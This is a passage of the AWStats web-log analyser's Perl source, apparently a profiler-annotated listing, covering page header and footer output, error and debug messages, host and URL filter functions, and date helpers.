510'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
511'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
512'Traffic viewed',
513'Traffic not viewed',
514'Monthly history',
515'Worms',
516'different worms',
517'Mails successfully sent',
518'Mails failed/refused',
519'Sensitive targets',
520'Javascript disabled',
521'Created by',
522'plugins',
523'Regions',
524'Cities'
525);
526
527
528
529#------------------------------------------------------------------------------
530# Functions
531#------------------------------------------------------------------------------
532
533# Function to solve pb with openvms
534
# spent 85µs within main::file_filt which was called 2 times, avg 42µs/call: # once (49µs+0) by main::Rename_All_Tmp_History at line 4093 # once (36µs+0) at line 6042
sub file_filt (@) {
53562.8e-54.7e-6 my @retval;
536 foreach my $fl (@_) {
53782.5e-53.1e-6 $fl =~ tr/^//d;
538 push @retval, $fl;
539 }
540 return sort @retval;
541}
542
543#------------------------------------------------------------------------------
544# Function: Write on output header of HTTP answer
545# Parameters: None
546# Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires
547# Output: $HeaderHTTPSent=1
548# Return: None
549#------------------------------------------------------------------------------
550sub http_head {
551 if (! $HeaderHTTPSent) {
552 if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') { print ($ENV{'HTTP_USER_AGENT'}=~/MSIE|Googlebot/i?"Content-type: text/html; charset=$PageCode\n":"Content-type: text/xml; charset=$PageCode\n"); }
553 else { print "Content-type: text/html; charset=$PageCode\n"; }
554
555 # Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
556 if ($Expires =~ /^\d+$/) {
557 print "Cache-Control: public\n";
558 print "Last-Modified: ".gmtime($starttime)."\n";
559 print "Expires: ".(gmtime($starttime+$Expires))."\n";
560 }
561 print "\n";
562 }
563 $HeaderHTTPSent++;;
564}
565
566#------------------------------------------------------------------------------
567# Function: Write on output header of HTML page
568# Parameters: None
569# Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
570# Output: $HeaderHTMLSent=1
571# Return: None
572#------------------------------------------------------------------------------
573
# spent 21µs within main::html_head which was called # once (21µs+0) at line 5888
sub html_head {
57438.0e-62.7e-6 my $dir=$PageDir?'right':'left';
575 if (scalar keys %HTMLOutput || $PluginMode) {
576 my $MetaRobot=0; # meta robots
577 my $periodtitle=" ($YearRequired";
578 $periodtitle.=($MonthRequired ne 'all'?"-$MonthRequired":"");
579 $periodtitle.=($DayRequired ne ''?"-$DayRequired":"");
580 $periodtitle.=($HourRequired ne ''?"-$HourRequired":"");
581 $periodtitle.=")";
582 # Write head section
583 if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') {
584 if ($PageCode) { print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n"; }
585 else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; };
586 if ($FrameName ne 'index') { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n"; }
587 else { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n"; }
588 print "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
589 } else {
590 if ($FrameName ne 'index') { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n"; }
591 else { print "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\">\n"; }
592 print "<html lang='$Lang'".($PageDir?" dir='rtl'":"").">\n";
593 }
594 print "<head>\n";
595
596 my $endtag='>';
597 if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') { $endtag=' />'; }
598
599 # Affiche tag meta generator
600 print "<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://awstats.sourceforge.net)\"$endtag\n";
601
602 # Affiche tag meta robots
603 if ($MetaRobot) { print "<meta name=\"robots\" content=\"".($FrameName eq 'mainleft'?'no':'')."index,nofollow\"$endtag\n"; }
604 else { print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n"; }
605
606 # Affiche tag meta content-type
607 if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') { print ($ENV{'HTTP_USER_AGENT'}=~/MSIE|Googlebot/i?"<meta http-equiv=\"content-type\" content=\"text/html; charset=".($PageCode?$PageCode:"iso-8859-1")."\" />\n":"<meta http-equiv=\"content-type\" content=\"text/xml; charset=".($PageCode?$PageCode:"iso-8859-1")."\"$endtag\n"); }
608 else { print "<meta http-equiv=\"content-type\" content=\"text/html; charset=".($PageCode?$PageCode:"iso-8859-1")."\"$endtag\n"; }
609
610 if ($Expires) { print "<meta http-equiv=\"expires\" content=\"".(gmtime($starttime+$Expires))."\"$endtag\n"; }
611 print "<meta http-equiv=\"description\" content=\"".ucfirst($PROG)." - Advanced Web Statistics for $SiteDomain$periodtitle\"$endtag\n";
612 if ($MetaRobot && $FrameName ne 'mainleft') { print "<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n"; }
613 print "<title>$Message[7] $SiteDomain$periodtitle</title>\n";
614 if ($FrameName ne 'index')
615 {
616
617 if ($StyleSheet) {
618 print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
619 }
620
621 # A STYLE section must be in head section. Do not use " for number in a style section
622 print "<style type=\"text/css\">\n";
623 if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') { print ($ENV{'HTTP_USER_AGENT'}=~/Firebird/i?"<!--\n":"<![CDATA[\n"); }
624 else { print "<!--\n"; }
625
626 if (! $StyleSheet)
627 {
628 print "body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
629 print ".aws_bodyl { }\n";
630 print ".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px ".($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml'?"2px":"1px")." 1px; margin-top: 0px; margin-bottom: 0px; }\n";
631 print ".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
632 print ".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
633 print <<EOF;
634.aws_data {
635 background-color: #$color_Background;
636 border-top-width: 1px;
637 border-left-width: 0px;
638 border-right-width: 0px;
639 border-bottom-width: 0px;
640}
641.aws_formfield { font: 13px verdana, arial, helvetica; }
642.aws_button {
643 font-family: arial,verdana,helvetica, sans-serif;
644 font-size: 12px;
645 border: 1px solid #ccd7e0;
646 background-image : url($DirIcons/other/button.gif);
647}
648th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
649th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
650td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
651td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
652td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
653b { font-weight: bold; }
654a { font: 11px verdana, arial, helvetica, sans-serif; }
655a:link { color: #$color_link; text-decoration: none; }
656a:visited { color: #$color_link; text-decoration: none; }
657a:hover { color: #$color_hover; text-decoration: underline; }
658.currentday { font-weight: bold; }
659EOF
660 }
661
662 # Call to plugins' function AddHTMLStyles
663 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLStyles'}}) {
664# my $function="AddHTMLStyles_$pluginname()";
665# eval("$function");
666 my $function="AddHTMLStyles_$pluginname";
667 &$function();
668 }
669
670 if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') { print ($ENV{'HTTP_USER_AGENT'}=~/Firebird/i?"//-->\n":"]]>\n"); }
671 else { print "//-->\n"; }
672 print "</style>\n";
673 }
674
675 print "</head>\n\n";
676 if ($FrameName ne 'index') {
677 print "<body style=\"margin-top: 0px\"";
678 if ($FrameName eq 'mainleft') { print " class=\"aws_bodyl\""; }
679 print ">\n";
680 }
681 }
682 $HeaderHTMLSent++;
683}
684
685#------------------------------------------------------------------------------
686# Function: Write on output end of HTML page
687# Parameters: 0|1 (0=no list plugins,1=list plugins)
688# Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
689# Output: None
690# Return: None
691#------------------------------------------------------------------------------
692sub html_end {
693 my $listplugins=shift||0;
694 if (scalar keys %HTMLOutput) {
695
696 # Call to plugins' function AddHTMLBodyFooter
697 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLBodyFooter'}}) {
698# my $function="AddHTMLBodyFooter_$pluginname()";
699# eval("$function");
700 my $function="AddHTMLBodyFooter_$pluginname";
701 &$function();
702 }
703
704 if ($FrameName ne 'index' && $FrameName ne 'mainleft') {
705 print "$Center<br /><br />\n";
706 print "<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
707 print "<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://awstats.sourceforge.net\" target=\"awstatshome\">";
708 print $Message[169]." $PROG";
709 if ($listplugins) {
710 my $atleastoneplugin=0;
711 foreach my $pluginname (keys %{$PluginsLoaded{'init'}}) {
712 if (! $atleastoneplugin) { $atleastoneplugin=1; print " ($Message[170]: "; }
713 else { print ", "; }
714 print "$pluginname";
715 }
716 if ($atleastoneplugin) { print ")"; }
717 }
718 print "</a></span><br />\n";
719 if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
720 }
721 print "\n";
722 if ($FrameName ne 'index') {
723 if ($FrameName ne 'mainleft' && $BuildReportFormat eq 'html') { print "<br />\n"; }
724 print "</body>\n";
725 }
726 print "</html>\n";
727# print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
728 }
729}
730
731#------------------------------------------------------------------------------
732# Function: Print on stdout tab header of a chart
733# Parameters: $title $tooltipnb [$width percentage of chart title]
734# Input: None
735# Output: None
736# Return: None
737#------------------------------------------------------------------------------
738sub tab_head {
739 my $title=shift;
740 my $tooltipnb=shift;
741 my $width=shift||70;
742 my $class=shift;
743 if ($width == 70 && $QueryString =~ /buildpdf/i) { print "<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n"; }
744 else { print "<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; }
745
746 if ($tooltipnb) {
747 print "<tr><td class=\"aws_title\" width=\"$width%\"".Tooltip($tooltipnb,$tooltipnb).">$title </td>";
748 }
749 else {
750 print "<tr><td class=\"aws_title\" width=\"$width%\">$title </td>";
751 }
752 print "<td class=\"aws_blank\">&nbsp;</td></tr>\n";
753 print "<tr><td colspan=\"2\">\n";
754 if ($width == 70 && $QueryString =~ /buildpdf/i) { print "<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n"; }
755 else { print "<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; }
756}
757
758#------------------------------------------------------------------------------
759# Function: Print on stdout tab ender of a chart
760# Parameters: None
761# Input: None
762# Output: None
763# Return: None
764#------------------------------------------------------------------------------
765sub tab_end {
766 my $string=shift;
767 print "</table></td></tr></table>";
768 if ($string) { print "<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n"; }
769 print "<br />\n\n";
770}
771
772#------------------------------------------------------------------------------
773# Function: Write error message and exit
774# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo
775# Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
776# Output: None
777# Return: None
778#------------------------------------------------------------------------------
779sub error {
780 my $message=shift||''; if (scalar keys %HTMLOutput) { $message =~ s/\</&lt;/g; $message =~ s/\>/&gt;/g; }
781 my $secondmessage=shift||'';
782 my $thirdmessage=shift||'';
783 my $donotshowsetupinfo=shift||0;
784
785 if (! $HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'}) { http_head(); }
786 if (! $HeaderHTMLSent && scalar keys %HTMLOutput) { print "<html><body>\n"; $HeaderHTMLSent=1; }
787 if ($Debug) { debug("$message $secondmessage $thirdmessage",1); }
788 my $tagbold=''; my $tagunbold=''; my $tagbr=''; my $tagfontred=''; my $tagfontgrey=''; my $tagunfont='';
789 if (scalar keys %HTMLOutput) {
790 $tagbold='<b>'; $tagunbold='</b>'; $tagbr='<br />';
791 $tagfontred='<span style="color: #880000">';
792 $tagfontgrey='<span style="color: #888888">';
793 $tagunfont='</span>';
794 }
795 if (! $ErrorMessages && $message =~ /^Format error$/i) {
796 # Files seems to have bad format
797 if (scalar keys %HTMLOutput) { print "<br /><br />\n"; }
798 if ($message !~ $LogSeparator) {
799 # Bad LogSeparator parameter
800 print "${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
801 }
802 else {
803 # Bad LogFormat parameter
804 print "AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
805 print "${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
806 print "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
807 print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
808 print "This means each line in your web server log file need to have ";
809 if ($LogFormat == 1) {
810 print "${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
811 print (scalar keys %HTMLOutput?"$tagfontgrey<i>":"");
812 print "111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
813 print (scalar keys %HTMLOutput?"</i>$tagunfont${tagbr}${tagbr}\n":"");
814 }
815 if ($LogFormat == 2) {
816 print "${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
817 print (scalar keys %HTMLOutput?"$tagfontgrey<i>":"");
818 print "date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
819 print (scalar keys %HTMLOutput?"</i>$tagunfont${tagbr}${tagbr}\n":"");
820 }
821 if ($LogFormat == 3) {
822 print "${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
823 }
824 if ($LogFormat == 4) {
825 print "${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
826 print (scalar keys %HTMLOutput?"$tagfontgrey<i>":"");
827 print "111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
828 print (scalar keys %HTMLOutput?"</i>$tagunfont${tagbr}${tagbr}\n":"");
829 }
830 if ($LogFormat == 6) {
831 print "${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
832 print (scalar keys %HTMLOutput?"$tagfontgrey<i>":"");
833 print "111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
834 print (scalar keys %HTMLOutput?"</i></span>${tagbr}${tagbr}\n":"");
835 }
836 if ($LogFormat !~ /^[1-6]$/) {
837 print "the following personalized log format:${tagbr}\n";
838 print (scalar keys %HTMLOutput?"$tagfontgrey<i>":"");
839 print "$LogFormat\n";
840 print (scalar keys %HTMLOutput?"</i>$tagunfont${tagbr}${tagbr}\n":"");
841 }
842 print "And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
843 print (scalar keys %HTMLOutput?"<br />$tagfontgrey<i>":"");
844 print "$secondmessage";
845 print (scalar keys %HTMLOutput?"</i>$tagunfont${tagbr}${tagbr}":"");
846 print "\n";
847 }
848 #print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
849 #print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
850 #print "\n";
851 }
852 else {
853 print (scalar keys %HTMLOutput?"<br />$tagfontred\n":"");
854 print ($ErrorMessages?"$ErrorMessages":"Error: $message");
855 print (scalar keys %HTMLOutput?"\n</span><br />":"");
856 print "\n";
857 }
858 if (! $ErrorMessages && ! $donotshowsetupinfo) {
859 if ($message =~ /Couldn.t open config file/i) {
860 my $dir=$DIR;
861 if ($dir =~ /^\./) { $dir.='/../..'; }
862 else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
863 print "${tagbr}\n";
864 if ($ENV{'GATEWAY_INTERFACE'}) {
865 print "- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
866 print "Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
867 print "Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
868 } else {
869 print "- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
870 print "Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
871 }
872 print "- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
873 print "If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
874 print "${tagbr}\n";
875 }
876 else { print "${tagbr}${tagbold}Setup (".($FileConfig?"'".$FileConfig."'":"Config")." file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n"; }
877 print "Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
878 }
879 # Remove lock if not a lock message
880 if ($EnableLockForUpdate && $message !~ /lock file/) { &Lock_Update(0); }
881 if (scalar keys %HTMLOutput) { print "</body></html>\n"; }
882 exit 1;
883}
884
885#------------------------------------------------------------------------------
886# Function: Write a warning message
887# Parameters: $message
888# Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
889# Output: None
890# Return: None
891#------------------------------------------------------------------------------
892sub warning {
893 my $messagestring=shift;
894
895 if ($Debug) { debug("$messagestring",1); }
896 if ($WarningMessages) {
897 if (! $HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'}) { http_head(); }
898 if (! $HeaderHTMLSent) { html_head(); }
899 if (scalar keys %HTMLOutput) {
900 $messagestring =~ s/\n/\<br\>/g;
901 print "$messagestring<br />\n";
902 }
903 else {
904 print "$messagestring\n";
905 }
906 }
907}
908
909#------------------------------------------------------------------------------
910# Function: Write debug message and exit
911# Parameters: $string $level
912# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced
913# Output: None
914# Return: None
915#------------------------------------------------------------------------------
916
# spent 32µs within main::debug which was called 2 times, avg 16µs/call: # once (20µs+0) by main::Init_geoip at line 61 of plugins/geoip.pm # once (12µs+0) by main::Init_geoip at line 72 of plugins/geoip.pm
sub debug {
91781.6e-52.0e-6 my $level = $_[1] || 1;
918
919 if (! $HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'}) { http_head(); } # To send the HTTP header and see debug
920 if ($level <= $DEBUGFORCED) {
921 my $debugstring = $_[0];
922 if (! $DebugResetDone) { open(DEBUGFORCEDFILE,"debug.log"); close DEBUGFORCEDFILE; chmod 0666,"debug.log"; $DebugResetDone=1; }
923 open(DEBUGFORCEDFILE,">>debug.log");
924 print DEBUGFORCEDFILE localtime(time)." - $$ - DEBUG $level - $debugstring\n";
925 close DEBUGFORCEDFILE;
926 }
927 if ($DebugMessages && $level <= $Debug) {
928 my $debugstring = $_[0];
929 if (scalar keys %HTMLOutput) { $debugstring =~ s/^ /&nbsp;&nbsp; /; $debugstring .= "<br />"; }
930 print localtime(time)." - DEBUG $level - $debugstring\n";
931 }
932}
933
934#------------------------------------------------------------------------------
935# Function: Optimize an array removing duplicate entries
936# Parameters: @Array notcasesensitive=0|1
937# Input: None
938# Output: None
939# Return: None
940#------------------------------------------------------------------------------
941
# spent 437µs within main::OptimizeArray which was called 10 times, avg 44µs/call: # once (227µs+0) at line 6149 # once (63µs+0) at line 6157 # once (20µs+0) at line 6151 # once (19µs+0) at line 6154 # once (19µs+0) at line 6153 # once (19µs+0) at line 6150 # once (18µs+0) at line 6155 # once (18µs+0) at line 6156 # once (17µs+0) at line 6158 # once (17µs+0) at line 6152
sub OptimizeArray {
942730.000121.6e-6 my $array=shift;
94354.0e-58.0e-6 my @arrayunreg=map{if (/\(\?[-\w]*:(.*)\)/) { $1 } } @$array;
944 my $notcasesensitive=shift;
945 my $searchlist=0;
946 if ($Debug) { debug("OptimizeArray (notcasesensitive=$notcasesensitive)",4); }
947 while ($searchlist>-1 && @arrayunreg) {
94892.3e-52.6e-6 my $elemtoremove=-1;
949 OPTIMIZELOOP:
950 foreach my $i ($searchlist..(scalar @arrayunreg)-1) {
951 # Search if $i elem is already treated by another elem
95251.8e-53.6e-6 foreach my $j (0..(scalar @arrayunreg)-1) {
953557.8e-51.4e-6 if ($i == $j) { next; }
954 my $parami=$notcasesensitive?lc($arrayunreg[$i]):$arrayunreg[$i];
955 my $paramj=$notcasesensitive?lc($arrayunreg[$j]):$arrayunreg[$j];
956 if ($Debug) { debug(" Compare $i ($parami) to $j ($paramj)",4); }
95735.0e-61.7e-6 if (index($parami,$paramj)>-1) {
958 if ($Debug) { debug(" Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])",4); }
959 $elemtoremove=$i;
960 last OPTIMIZELOOP;
961 }
962 }
963 }
96455.0e-61.0e-6 if ($elemtoremove > -1) {
965 if ($Debug) { debug(" Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",4); }
966 splice @arrayunreg, $elemtoremove, 1;
967 $searchlist=$elemtoremove;
968 }
969 else {
970 $searchlist=-1;
971 }
972 }
973105.4e-55.4e-6 if ($notcasesensitive) { return map{qr/$_/i} @arrayunreg; }
97411.5e-51.5e-5 return map{qr/$_/} @arrayunreg;
975}
976
977#------------------------------------------------------------------------------
978# Function: Check if parameter is in SkipDNSLookupFor array
979# Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
980# Return: 0 Not found, 1 Found
981#------------------------------------------------------------------------------
982sub SkipDNSLookup {
983 foreach (@SkipDNSLookupFor) { if ($_[0] =~ /$_/) { return 1; } }
984 0; # Not in @SkipDNSLookupFor
985}
986
987#------------------------------------------------------------------------------
988# Function: Check if parameter is in SkipHosts array
989# Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array)
990# Return: 0 Not found, 1 Found
991#------------------------------------------------------------------------------
992sub SkipHost {
993 foreach (@SkipHosts) { if ($_[0] =~ /$_/) { return 1; } }
994 0; # Not in @SkipHosts
995}
996
997#------------------------------------------------------------------------------
998# Function: Check if parameter is in SkipReferrers array
999# Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array)
1000# Return: 0 Not found, 1 Found
1001#------------------------------------------------------------------------------
1002sub SkipReferrer {
1003 foreach (@SkipReferrers) { if ($_[0] =~ /$_/) { return 1; } }
1004 0; # Not in @SkipReferrers
1005}
1006
1007#------------------------------------------------------------------------------
1008# Function: Check if parameter is in SkipUserAgents array
1009# Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
1010# Return: 0 Not found, 1 Found
1011#------------------------------------------------------------------------------
1012sub SkipUserAgent {
1013 foreach (@SkipUserAgents) { if ($_[0] =~ /$_/) { return 1; } }
1014 0; # Not in @SkipUserAgent
1015}
1016
1017#------------------------------------------------------------------------------
1018# Function: Check if parameter is in SkipFiles array
1019# Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array)
1020# Return: 0 Not found, 1 Found
1021#------------------------------------------------------------------------------
1022sub SkipFile {
1023 foreach (@SkipFiles) { if ($_[0] =~ /$_/) { return 1; } }
1024 0; # Not in @SkipFiles
1025}
1026
1027#------------------------------------------------------------------------------
1028# Function: Check if parameter is in OnlyHosts array
1029# Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array)
1030# Return: 0 Not found, 1 Found
1031#------------------------------------------------------------------------------
1032sub OnlyHost {
1033 foreach (@OnlyHosts) { if ($_[0] =~ /$_/) { return 1; } }
1034 0; # Not in @OnlyHosts
1035}
1036
1037#------------------------------------------------------------------------------
1038# Function: Check if parameter is in OnlyUserAgents array
1039# Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
1040# Return: 0 Not found, 1 Found
1041#------------------------------------------------------------------------------
1042sub OnlyUserAgent {
1043 foreach (@OnlyUserAgents) { if ($_[0] =~ /$_/) { return 1; } }
1044 0; # Not in @OnlyHosts
1045}
1046
1047#------------------------------------------------------------------------------
1048# Function: Check if parameter is in NotPageFiles array
1049# Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array)
1050# Return: 0 Not found, 1 Found
1051#------------------------------------------------------------------------------
1052sub NotPageFile {
1053 foreach (@NotPageFiles) { if ($_[0] =~ /$_/) { return 1; } }
1054 0; # Not in @NotPageFiles
1055}
1056
1057#------------------------------------------------------------------------------
1058# Function: Check if parameter is in OnlyFiles array
1059# Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array)
1060# Return: 0 Not found, 1 Found
1061#------------------------------------------------------------------------------
1062
# spent 41.3s within main::OnlyFile which was called 1795756 times, avg 23µs/call: # 1795756 times (41.3s+0) at line 6476, avg 23µs/call
sub OnlyFile {
1063538726831.968015.9e-6 foreach (@OnlyFiles) { if ($_[0] =~ /$_/) { return 1; } }
1064 0; # Not in @OnlyFiles
1065}
1066
1067#------------------------------------------------------------------------------
1068# Function: Return day of week of a day
1069# Parameters: $day $month $year
1070# Return: 0-6
1071#------------------------------------------------------------------------------
1072sub DayOfWeek {
1073 my ($day, $month, $year) = @_;
1074 if ($Debug) { debug("DayOfWeek for $day $month $year",4); }
1075 if ($month < 3) { $month += 10; $year--; }
1076 else { $month -= 2; }
1077 my $cent = sprintf("%1i",($year/100));
1078 my $y = ($year % 100);
1079 my $dw = (sprintf("%1i",(2.6*$month)-0.2) + $day + $y + sprintf("%1i",($y/4)) + sprintf("%1i",($cent/4)) - (2*$cent)) % 7;
1080 $dw += 7 if ($dw<0);
1081 if ($Debug) { debug(" is $dw",4); }
1082 return $dw;
1083}
1084
1085#------------------------------------------------------------------------------
1086# Function: Return 1 if a date exists
1087# Parameters: $day $month $year
1088# Return: 1 if date exists else 0
1089#------------------------------------------------------------------------------
1090sub DateIsValid {
1091 my ($day, $month, $year) = @_;
1092 if ($Debug) { debug("DateIsValid for $day $month $year",4); }
1093 if ($day < 1) { return 0; }
1094 if ($day > 31) { return 0; }
1095 if ($month==4 || $month==6 || $month==9 || $month==11) {
1096 if ($day > 30) { return 0; }
1097 }
1098 elsif ($month==2) {
1099 my $leapyear=($year%4==0?1:0); # A leap year every 4 years
1100 if ($year%100==0 && $year%400!=0) { $leapyear=0; } # Except if year is 100x and not 400x
1101 if ($day > (28+$leapyear)) { return 0; }
1102 }
1103 return 1;
1104}
1105
1106#------------------------------------------------------------------------------
1107# Function: Return string of visit duration
1108# Parameters: $starttime $endtime
1109# Input: None
1110# Output: None
1111# Return: A string that identify the visit duration range
1112#------------------------------------------------------------------------------
1113sub GetSessionRange {
1114 my $starttime = my $endtime;
1115 if (shift =~ /$regdate/o) { $starttime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); }
1116 if (shift =~ /$regdate/o) { $endtime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); }
1117 my $delay=$endtime-$starttime;
1118 if ($Debug) { debug("GetSessionRange $endtime - $starttime = $delay",4); }
1119 if ($delay <= 30) { return $SessionsRange[0]; }
1120 if ($delay <= 120) { return $SessionsRange[1]; }
1121 if ($delay <= 300) { return $SessionsRange[2]; }
1122 if ($delay <= 900) { return $SessionsRange[3]; }
1123 if ($delay <= 1800) { return $SessionsRange[4]; }
1124 if ($delay <= 3600) { return $SessionsRange[5]; }
1125 return $SessionsRange[6];
1126}
1127
1128#------------------------------------------------------------------------------
1129# Function: Read config file
1130# Parameters: None or configdir to scan
1131# Input: $DIR $PROG $SiteConfig
1132# Output: Global variables
1133# Return: -
1134#------------------------------------------------------------------------------
1135
# spent 21.7ms (116µs+21.6) within main::Read_Config which was called # once (116µs+21.6ms) at line 5802
sub Read_Config {
1136 # Check config file in common possible directories :
1137 # Windows : "$DIR" (same dir than awstats.pl)
1138 # Standard, Mandrake and Debian package : "/etc/awstats"
1139 # Other possible directories : "/usr/local/etc/awstats", "/etc"
1140 # FHS standard, Suse package : "/etc/opt/awstats"
1141115.1e-54.6e-6 my $configdir=shift;
1142 my @PossibleConfigDir=();
1143
